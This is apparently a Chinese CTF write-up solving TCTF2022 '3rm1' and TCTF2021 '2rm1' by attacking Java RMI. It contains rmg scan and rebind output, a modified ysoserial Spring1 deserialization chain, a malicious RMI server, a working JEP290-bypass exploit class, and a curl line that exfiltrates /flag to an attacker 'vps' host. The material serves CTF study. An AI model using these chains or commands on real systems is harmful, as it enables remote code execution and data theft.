[TCTF2022]3rm1
攻击 RMI 服务端 居然 nmap 的还能扫·····
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 └─$ nmap --script rmi-dumpregistry.nse -sV --version-all -p 1099 127.0.0.1 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-19 21:40 CST Nmap scan report for localhost (127.0.0.1) Host is up (0.0025s latency). PORT STATE SERVICE VERSION 1099/tcp open java-rmi Java RMI | rmi-dumpregistry: | ctf | implements com.ctf.threermi.UserInter, | extends | java.lang.reflect.Proxy | fields | Ljava/lang/reflect/InvocationHandler; h | java.rmi.server.RemoteObjectInvocationHandler | @172.19.0.2:38387 | extends |_ java.rmi.server.RemoteObject Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.56 seconds
使用一款很厉害的工具: https://github.com/qtc-de/remote-method-guesser.git 值得好好看看它的文档
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.3.1-jar-with-dependencies.jar scan 127.0.0.1 --ports 1099 130 ⨯ [+] Scanning 1 Ports on 127.0.0.1 for RMI services. [+] [+] [HIT] Found RMI service(s) on 127.0.0.1:1099 (Registry, DGC) [+] [1 / 1] [#############################] 100% [+] [+] Portscan finished. ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099 [+] RMI registry bound names: [+] [+] - ctf [+] --> com.ctf.threermi.UserInter (unknown class) [+] Endpoint: 172.19.0.2:33385 TLS: no ObjID: [-393e2f3:185cd34f492:-7fff, -350750653032742951] [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar bind 127.0.0.1 1099 127.0.0.1:1234 my-object --localhost-bypass 1 ⨯ [+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub [+] [+] Encountered no Exception during bind call. [+] Bind operation was probably successful. ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099 [+] RMI registry bound names: [+] [+] - my-object [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: 127.0.0.1:1234 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] - ctf [+] --> com.ctf.threermi.UserInter (unknown class) [+] Endpoint: 172.19.0.2:33385 TLS: no ObjID: [-393e2f3:185cd34f492:-7fff, -350750653032742951]
重绑定,这样客户端会连接到我们自定义的服务端去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar rebind 127.0.0.1 1099 127.0.0.1:7777 ctf --localhost-bypass [+] Rebinding name ctf to javax.management.remote.rmi.RMIServerImpl_Stub [+] [+] Encountered no Exception during rebind call. [+] Rebind operation was probably successful. ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099 | head -n 11 [+] RMI registry bound names: [+] [+] - ctf [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: 127.0.0.1:7777 TLS: no ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
攻击 RMI 客户端 客户端的环境是纯 jdk,题目给的 hint: ysoserial’s spring1 在这里可以用上了
需要做到:spring1 经过修改后,在 jdk8u201 下仍能 RCE,说是打 rmi,最终还是回到找反序列化链上面
spring1 复习一下 method.invoke
1 2 3 method = TemplatesImpl.class.getMethod("newTransformer" ); method.invoke(templates);
将 ysoserial spring1 拆开来写清楚,其实是这样的一条链子,套了三个动态代理 Proxy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static Object getObject (final String command) throws Exception { HashMap hashMap1 = new HashMap (); TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command); hashMap1.put("getObject" ,templates); Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor1 = c1.getDeclaredConstructor(Class.class, Map.class); constructor1.setAccessible(true ); InvocationHandler invocationHandler1 = (InvocationHandler) constructor1.newInstance(Target.class,hashMap1); ObjectFactory objectFactoryProxy = (ObjectFactory) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{ObjectFactory.class},invocationHandler1); Class c2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler" ); Constructor constructor2 = c2.getDeclaredConstructor(ObjectFactory.class); constructor2.setAccessible(true ); InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactoryProxy); Type typeTemplatesProxy = (Type) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{Templates.class,Type.class},invocationHandler2); HashMap hashMap2 = new HashMap (); hashMap2.put("getType" ,typeTemplatesProxy); Class c3 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor3 = c3.getDeclaredConstructor(Class.class,Map.class); constructor3.setAccessible(true ); InvocationHandler invocationHandler3 = (InvocationHandler) constructor3.newInstance(Target.class,hashMap2); Object typeProviderProxy = Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider" )},invocationHandler3); Class c4 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider" ); Constructor constructor4 = c4.getDeclaredConstructors()[0 ]; constructor4.setAccessible(true ); Object mitp = constructor4.newInstance(typeProviderProxy,Object.class.getMethod("getClass" ),0 ); Reflections.setFieldValue(mitp, "methodName" , "newTransformer" ); return mitp; }
反序列化调用过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static class MethodInvokeTypeProvider implements SerializableTypeWrapper .TypeProvider { private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this .provider.getType().getClass(), this .methodName); this .result = ReflectionUtils.invokeMethod(method, this .provider.getType()); } } Method method = typeTemplatesProxy.getClass().getMethod("newTransformer" );method.invoke(typeTemplatesProxy); private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler , Serializable { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals" )) { return proxy == args[0 ]; } else if (methodName.equals("hashCode" )) { return System.identityHashCode(proxy); } else if (methodName.equals("toString" )) { return this .objectFactory.toString(); } else { try { return method.invoke(this .objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } }
spring1 -> 3rm1 题目环境里是没有 springframework 类的,需要找从 3rm1 中所给的类中找替代品
这两个类都是接口类,而且都有 getObject
1 2 3 4 5 6 public interface ObjectFactory <T> { T getObject () throws BeansException; } public interface FactoryInter { Object getObject () ; }
都是一样的 method.invoke(xxx.getObject(),args)
1 2 3 4 5 6 7 8 9 10 11 12 13 private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler , Serializable { private final ObjectFactory<?> objectFactory; public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { ...... return method.invoke(this .objectFactory.getObject(), args); ...... } } public class MyInvocationHandler implements InvocationHandler , Serializable { FactoryInter object; public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(this .object.getObject(), args); } }
一样的 findMethod 然后 invoke,只是 getType 改成了 getGirlFriend
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MethodInvokeTypeProvider implements SerializableTypeWrapper .TypeProvider { private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this .provider.getType().getClass(), this .methodName); this .result = ReflectionUtils.invokeMethod(method, this .provider.getType()); } } public class Gadget implements Serializable { private void readObject (ObjectInputStream inputStream) throws IOException, ClassNotFoundException { ...... Method method = findMethod(this .user.getGirlFriend().getClass(), this .mName); method.invoke(this .user.getGirlFriend(), new Object [0 ]); ...... } }
无 spring 链 但是还有一个问题,是 AnnotationInvocationHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static Object getObject (String command) throws Exception { HashMap hashMap1 = new HashMap (); TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command); hashMap1.put("getObject" ,templates); Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor1 = c1.getDeclaredConstructor(Class.class, Map.class); constructor1.setAccessible(true ); InvocationHandler invocationHandler1 = (InvocationHandler) constructor1.newInstance(Target.class,hashMap1); FactoryInter factoryInter = (FactoryInter) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{FactoryInter.class},invocationHandler1); Class c2 = Class.forName("com.ctf.threermi.MyInvocationHandler" ); Constructor constructor2 = c2.getDeclaredConstructor(); constructor2.setAccessible(true ); InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(); Reflections.setFieldValue(invocationHandler2,"object" ,factoryInter); Friend typeTemplatesProxy = (Friend) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{Templates.class,Friend.class},invocationHandler2); HashMap hashMap2 = new HashMap (); hashMap2.put("getGirlFriend" ,typeTemplatesProxy); Class c3 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor3 = c3.getDeclaredConstructor(Class.class, Map.class); constructor3.setAccessible(true ); InvocationHandler invocationHandler3 = (InvocationHandler) constructor3.newInstance(Target.class,hashMap2); UserInter userInter = (UserInter) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{UserInter.class},invocationHandler3); Gadget gadget = new Gadget (); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); Reflections.setFieldValue(gadget,"user" ,userInter); return gadget; }
AnnotationInvocationHandler 替换 AnnotationInvocationHandler 在 CC 链子中出现过,而在 jdk8u201 这高版本中,被修复了,需要找一个替代
尝试先找出和 AnnotationInvocationHandler 一样继承 InvocationHandler 且 Serializable 类
1 2 3 4 5 6 7 import java from Class cwhere c.getASupertype().hasName("InvocationHandler") and c.getASupertype* () instanceof TypeSerializable select c
居然只找到两个: AnnotationInvocationHandler 和 RemoteObjectInvocationHandler
看了 wp,也是用的 RemoteObjectInvocationHandler 这个类,可是这个类里面的 invoke 如何使用
1 2 3 4 5 6 7 8 9 10 11 12 public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { ...... return invokeRemoteMethod(proxy, method, args); } private Object invokeRemoteMethod (Object proxy, Method method, Object[] args) throws Exception { ...... if (!(proxy instanceof Remote)) { throw new IllegalArgumentException ("proxy not Remote instance" ); } return ref.invoke((Remote) proxy, method, args, getMethodHash(method)); ...... }
ref 是一个远程引用,里面保存着服务端的对象信息。就像我们调用 Registry 的 bind 方法时,绑定的也是远程引用。
its invokeRemoteMethod will initiate a request to remote rmi server and we can control that ref value.
意思是说,我们另外开启一个服务端,让客户端从我们的服务端调用我们自定义的远程方法 getObject 和 getGirlFriend
而要怎么构造出 RemoteObjectInvocationHandler 中的 ref 参数,也是个问题
发布远程类/使用 RemoteObjectInvocationHandler 接受远程类 服务端发布远程类的代码 (FactoryImpl 实现了 FactoryInter 接口)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class exportObject { public static void main (String[] args) throws Exception { int evilServerPort = 7777 ; Registry registry = LocateRegistry.createRegistry(evilServerPort); FactoryImpl factoryImpl = new FactoryImpl (); registry.bind("factory" , UnicastRemoteObject.exportObject(factoryImpl, evilServerPort)); System.out.println("start evil server" ); } } public class FactoryImpl implements FactoryInter { @Override public Object getObject () throws Exception { return Gadgets.createTemplatesImpl("calc" ); } }
客户端接收远程类的代码
1 2 3 4 5 6 7 public class getObject { public static void main (String[] args) throws Throwable { FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl" ); TemplatesImpl templates = (TemplatesImpl) factoryInterlook.getObject(); templates.newTransformer(); } }
拼接 实现 FactoryImpl#getObject 返回 TemplatesImpl
1 2 3 4 5 6 7 public class FactoryImpl implements FactoryInter , Remote { @Override public Object getObject () throws Exception { System.out.println("getObject" ); return Gadgets.createTemplatesImpl("calc" ); } }
实现 UserImpl#getGirlFriend 返回 friendTemplatesProxy
1 2 3 4 5 6 7 8 9 public class UserImpl implements UserInter { public Friend getGirlFriend () throws Exception { FactoryInter factoryInter = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl" ); MyInvocationHandler myInvocationHandler = new MyInvocationHandler (); Reflections.setFieldValue(myInvocationHandler,"object" ,factoryInter); Friend friendTemplatesProxy = (Friend) Proxy.newProxyInstance(spring1.class.getClassLoader(),new Class []{Templates.class,Friend.class},myInvocationHandler); return friendTemplatesProxy; } }
最后的 gadget······
1 2 3 4 5 6 7 public static Object getObject (String command) throws Throwable { UserInter userInter = (UserInter) Naming.lookup("rmi://127.0.0.1:7777/userImpl" ); Gadget gadget = new Gadget (); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); Reflections.setFieldValue(gadget,"user" ,userInter); return gadget; }
开启恶意 RMI 服务器,在客户端反序列化恶意类 注册中心攻击客户端,反序列化这个 Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 LocateRegistry.createRegistry(1099 ); Registry registry2 = LocateRegistry.getRegistry(1099 );RemoteWrapper remoteWrapper = new RemoteWrapper ();registry2.bind("remoteObj" ,remoteWrapper); System.out.println("bind success! Listen 1099" ); ...... public class RemoteWrapper implements Remote , Serializable { private Object evilObj; public RemoteWrapper () throws Exception { this .evilObj = getObject(); } public Object getObject () throws Exception { UserInter userInter = (UserInter) Naming.lookup("rmi://192.168.43.1:7777/userImpl" ); Gadget gadget = new Gadget (); Reflections.setFieldValue(gadget,"mName" ,"newTransformer" ); Reflections.setFieldValue(gadget,"user" ,userInter); return gadget; } }
最后的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Main { public static void main (String[] args) throws Exception{ int evilServerPort = 7777 ; Registry registry1 = LocateRegistry.createRegistry(evilServerPort); FactoryImpl factoryImpl = new FactoryImpl (); registry1.bind("factoryImpl" , UnicastRemoteObject.exportObject(factoryImpl, evilServerPort)); Thread.sleep(1000 ); UserImpl userImpl = new UserImpl (); registry1.bind("userImpl" , UnicastRemoteObject.exportObject(userImpl, evilServerPort)); Thread.sleep(1000 ); LocateRegistry.createRegistry(1099 ); Registry registry2 = LocateRegistry.getRegistry(1099 ); Remote userStub = UnicastRemoteObject.exportObject(new UserImpl (), 0 ); registry2.bind("ctf" , userStub); RemoteWrapper remoteWrapper = new RemoteWrapper (); registry2.bind("remoteObj" ,remoteWrapper); System.out.println("bind success! Listen 1099" ); } }
[TCTF2021]2rm1 全网能找到的 wp 就两篇
flag 在客户端
重定向 1 url=https://l1nyz-tel.cc/redirect.php?redirect=http://rmiclient:8080/hello?name=tel
rmg 可以帮我们生成 gopher 来实现 SSRF,接下来是检测 RMI 客户端、服务端安全性
rmg 扫描 本地搭建环境,把 RMI 客户端、服务端的端口映射出来,在不考虑 spider 的环境下进行测试
尝试 rebind 重绑定 server 无果,enum 扫一下
1 2 3 4 5 6 ┌──(l1n㉿Kali)-[/tools/Java-RMI-vulnerability-scanner] └─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099 [+] RMI registry JEP290 bypass enumeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable
JEP290 绕过的攻击,使得服务端无限制地向另一个 JRMPLisitener 发送连接,造成 RCE(可以使用 ysoserial 测试一下)
先控制服务端,首先,服务端和客户端都有一个相同的反序列化漏洞,利用代码如下
1 2 3 4 5 6 7 8 9 10 public static Object getObject () throws Exception { PriorityQueue priorityQueue = new PriorityQueue <>(2 ); Gadget gadget = new Gadget (); Comparator comparator = (Comparator) Proxy.newProxyInstance(unser.class.getClassLoader(),new Class []{Comparator.class},gadget); Object[] objects = {new String []{"bash" ,"-c" ,"calc" },new String []{"ls" }}; Reflections.setFieldValue(priorityQueue,"size" ,2 ); Reflections.setFieldValue(priorityQueue,"queue" ,objects); Reflections.setFieldValue(priorityQueue,"comparator" ,comparator); return priorityQueue; }
攻击 server JEP290 绕过的攻击:
ysoserial JRMPListener 在 7777 挂起 priorityQueue 恶意实例
运行这段脚本绕过 JEP290 攻击服务端,即可实现 服务端 RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public class UnicastRemoteObjectExploit { public static void main (String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("192.168.43.128" , 1099 ); exploit(registry,"192.168.43.1" ,7777 ); } private static void exploit (RegistryImpl_Stub registry,String host,int port) throws Exception { UnicastRemoteObject unicastRemoteObject = getObj(host,port); Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref" ); refField.setAccessible(true ); UnicastRef ref = (UnicastRef) refField.get(registry); Operation[] operations = new Operation []{new Operation ("void bind(java.lang.String, java.rmi.Remote)" ), new Operation ("java.lang.String list()[]" ), new Operation ("java.rmi.Remote lookup(java.lang.String)" ), new Operation ("void rebind(java.lang.String, java.rmi.Remote)" ), new Operation ("void unbind(java.lang.String)" )}; RemoteCall var2 = ref.newCall(registry, operations, 2 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" ); f.setAccessible( true ); f.set( var3, false ); var3.writeObject(unicastRemoteObject); ref.invoke(var2); } private static UnicastRemoteObject getObj (String host,int port) throws Exception{ LiveRef liveRef = new LiveRef (new ObjID (7777 ), new TCPEndpoint (host,port), false ); UnicastRef ref = new UnicastRef (liveRef); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler (ref); RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class []{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler ); Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class); RemoteObjectConstructor.setAccessible(true ); Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor); UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef (liveRef)); Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf" ); ssfField.setAccessible(true ); ssfField.set(unicastRemoteObject,rmiServerSocketFactory); return unicastRemoteObject; } }
攻击 client 需要替换掉服务端绑定的 UserImpl
将下面这一段代码打包成 jar,发送到服务端上运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Registry registry = LocateRegistry.getRegistry(1099 );registry.rebind("0ops" , UnicastRemoteObject.exportObject(new UserImpl (), 0 )); public class UserImpl implements UserInter { @Override public String sayHello (String name) throws Exception { PriorityQueue priorityQueue = new PriorityQueue <>(2 ); Gadget gadget = new Gadget (); Comparator comparator = (Comparator) Proxy.newProxyInstance(UserImpl.class.getClassLoader(),new Class []{Comparator.class},gadget); Object[] objects = {new String []{"bash" ,"-c" ,"touch /tmp/tel" },new String []{"ls" }}; Reflections.setFieldValue(priorityQueue,"size" ,2 ); Reflections.setFieldValue(priorityQueue,"queue" ,objects); Reflections.setFieldValue(priorityQueue,"comparator" ,comparator); try { PropertyChangeEvent event = new PropertyChangeEvent ("source" , "name" , "old" , priorityQueue); throw new PropertyVetoException ("mess" , event); } catch (Exception e) { throw new RuntimeException (e); } } }
客户端 RCE,通过 spider 的重定向功能,带出 flag: curl http://spider:8080/?url=https://l1nyz-tel.cc/redirect.php?a=http://vps:port/$(cat /flag)
将流量转换成 gopher